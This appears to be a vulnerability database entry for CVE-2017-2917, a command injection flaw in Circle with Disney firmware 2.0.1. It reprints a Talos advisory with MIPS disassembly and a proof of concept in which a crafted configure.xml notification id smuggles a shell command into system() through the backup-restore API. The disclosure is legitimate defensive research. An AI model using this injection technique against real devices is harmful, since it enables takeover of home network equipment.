Vulnerabilities > CVE-2017-2917 - OS Command Injection vulnerability in Meetcircle Circle With Disney Firmware 2.0.1

047910
CVSS 9.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
SINGLE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
meetcircle
CWE-78
critical

Summary

An exploitable vulnerability exists in the notifications functionality of Circle with Disney running firmware 2.0.1. Specially crafted network packets can cause an OS command injection. An attacker can send an HTTP request to trigger this vulnerability.

Vulnerable Configurations

Part Description Count
OS
Meetcircle
1
Hardware
Meetcircle
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Command Delimiters
    An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
  • Exploiting Multiple Input Interpretation Layers
    An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
  • Argument Injection
    An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
  • OS Command Injection
    In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

Seebug

bulletinFamilyexploit
description### Summary An exploitable vulnerability exists in the notifications functionality of Circle with Disney running firmware 2.0.1. Specially crafted network packets can cause an OS command injection. An attacker can send an HTTP request trigger this vulnerability. ### Tested Versions Circle with Disney 2.0.1 ### Product URLs https://meetcircle.com/ ### CVSSv3 Score 9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H ### CWE CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') ### Details Circle with Disney is a network device used to monitor internet use of children on a given network. Circle allows for backing up and restoring configuration backups using API commands. Backups contain a file named "configure.xml", which contains most of the device's configuration. When restoring a backup using the API command "/api/CONFIG/restore", the "configure.xml" file contained in the backup is copied to "/mnt/shares/usr/bin/configure.xml" with very little checks: the file is considered valid if it's not empty and it contains the following strings: ``` <config> <wifi> <overall> <users> <devices> <contact> ``` After a backup configuration is restored, the device is rebooted. Vulnerable code exists in the `configd` binary in function `sub_410294`, which configures the device based on the existing "configure.xml". At [1] "configure.xml" is opened and at [2] the temporary notifications directory is cleared. Several functions are then used (e.g. at [3]) to navigate the XML configuration to get to the first "notification" element. Then a format string is built at [4] and is passed to `system()` at [5] together with the "id" property, for every "notification" element. ``` .text:00410294 sub_410294: .text:00410294 ... .text:00410480 278 addiu $a0, $sp, 0x278+var_258 .text:00410484 278 la $a1, aMntSharesUs_14 # "/mnt/shares/usr/bin/configure.xml" .text:00410488 278 sw $s2, (dword_44825C - 0x448258)($a2) .text:0041048C 278 sw $zero, (dword_448268 - 0x448264)($v1) .text:00410490 278 sw $zero, (dword_44826C - 0x448264)($v1) .text:00410494 278 jal sub_41FBE4 # [1] ... .text:00410760 loc_410760: .text:00410760 278 addiu $s4, $sp, 0x278+var_E4 .text:00410764 278 lui $s2, 0x43 .text:00410768 278 lui $a2, 0x43 .text:0041076C 278 move $a0, $s4 .text:00410770 278 li $a1, 0x80 .text:00410774 278 la $a2, aRmFS # "rm -f %s*" .text:00410778 278 jal snprintf .text:0041077C 278 addiu $a3, $s2, (aTmpEnabled_not - 0x430000) # "/tmp/enabled_notifications/" .text:00410780 278 jal system # [2] .text:00410784 278 move $a0, $s4 .text:00410788 278 lui $a1, 0x43 .text:0041078C 278 move $a0, $s0 .text:00410790 278 jal sub_41D3EC # [3] .text:00410794 278 la $a1, (aOverallActiven+8) # "activeNotifications" .text:00410798 278 beqz $v0, loc_410A74 .text:0041079C 278 lui $s3, 0x43 .text:004107A0 278 move $a0, $v0 .text:004107A4 278 jal sub_41D3EC # [3] .text:004107A8 278 addiu $a1, $s3, (aNotification - 0x430000) # "notification" .text:004107AC 278 beqz $v0, loc_410A74 .text:004107B0 278 move $s0, $v0 .text:004107B4 278 lui $s6, 0x43 .text:004107B8 278 lui $s7, 0x43 .text:004107BC 278 lui $s5, 0x43 .text:004107C0 278 la $s6, aTouchSnotifica # [4] "touch %snotification.%s" .text:004107C4 278 j loc_4107E8 .text:004107C8 278 la $s7, a1 # "1" .text:004107CC .text:004107CC loc_4107CC: .text:004107CC 278 lui $a2, 0x45 .text:004107D0 278 sw $v0, dword_448264 .text:004107D4 .text:004107D4 loc_4107D4: .text:004107D4 278 move $a0, $s0 .text:004107D8 .text:004107D8 loc_4107D8: .text:004107D8 278 jal sub_41D694 .text:004107DC 278 addiu $a1, $s3, 0x314 .text:004107E0 278 beqz $v0, loc_410A74 .text:004107E4 278 move $s0, $v0 .text:004107E8 .text:004107E8 loc_4107E8: .text:004107E8 278 move $a0, $s0 .text:004107EC 278 addiu $a1, $s5, -0x12E4 .text:004107F0 278 jal sub_41E028 .text:004107F4 278 move $a2, $zero .text:004107F8 278 move $a0, $s4 .text:004107FC 278 sw $v0, 0x278+var_268($sp) .text:00410800 278 li $a1, 0x80 .text:00410804 278 move $a2, $s6 # [4] .text:00410808 278 addiu $a3, $s2, 0x2F8 .text:0041080C 278 jal snprintf .text:00410810 278 move $s1, $v0 .text:00410814 278 jal system # [5] ... .text:00410854 278 j loc_4107D4 .text:00410858 278 sw $v0, (dword_448268 - 0x448264)($v1) ``` In short the function finds all "notification" elements in the XML path "config/overall/activeNotifications". Then, for each element, the "id" property is extracted and a file is created using: ``` system("touch /tmp/enabled_notifications/notification.<id>") ``` Since "id" is never sanitized and is used in `system()`, an attacker may use this vulnerability to arbitrarily execute code on the device. ### Exploit Proof-of-Concept The following proof of concept shows how to execute a command on the device. An attacker needs a valid token in order to trigger the vulnerability. ``` -- create backup binary $ sAppid="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" $ tree backup backup ├── backup.version ├── configure.xml └── photos $ cat configure.xml <config> <wifi></wifi> <overall> <activeNotifications> <notification id=";echo fastblink > /tmp/blueled;"/> </activeNotifications> </overall> <users></users> <devices></devices> <contact></contact> </config> $ tar -C backup -cvzf backup.tgz configure.xml photos backup.version $ aescrypt -e -p $sAppid -o backup.bin backup.tgz -- send binary for config restore $ curl -k "https://${sIP}:4567/api/CONFIG/restore" -F "token=${sToken}" -F "appid=${sAppid}" -F "[email protected]" -- wait for reboot ``` In this case the command executed after reboot will make the device's led blink rapidly. ``` touch /tmp/enabled_notifications/notification.;echo fastblink > /tmp/blueled; ``` ### Timeline * 2017-08-29 - Vendor Disclosure * 2017-10-31 - Public Release
idSSV:96836
last seen2017-11-19
modified2017-11-09
published2017-11-09
reporterRoot
titleCircle with Disney configure.xml Notifications Command Injection Vulnerability(CVE-2017-2917)

Talos

idTALOS-2017-0424
last seen2019-05-29
published2017-10-31
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0424
titleCircle with Disney configure.xml Notifications Command Injection Vulnerability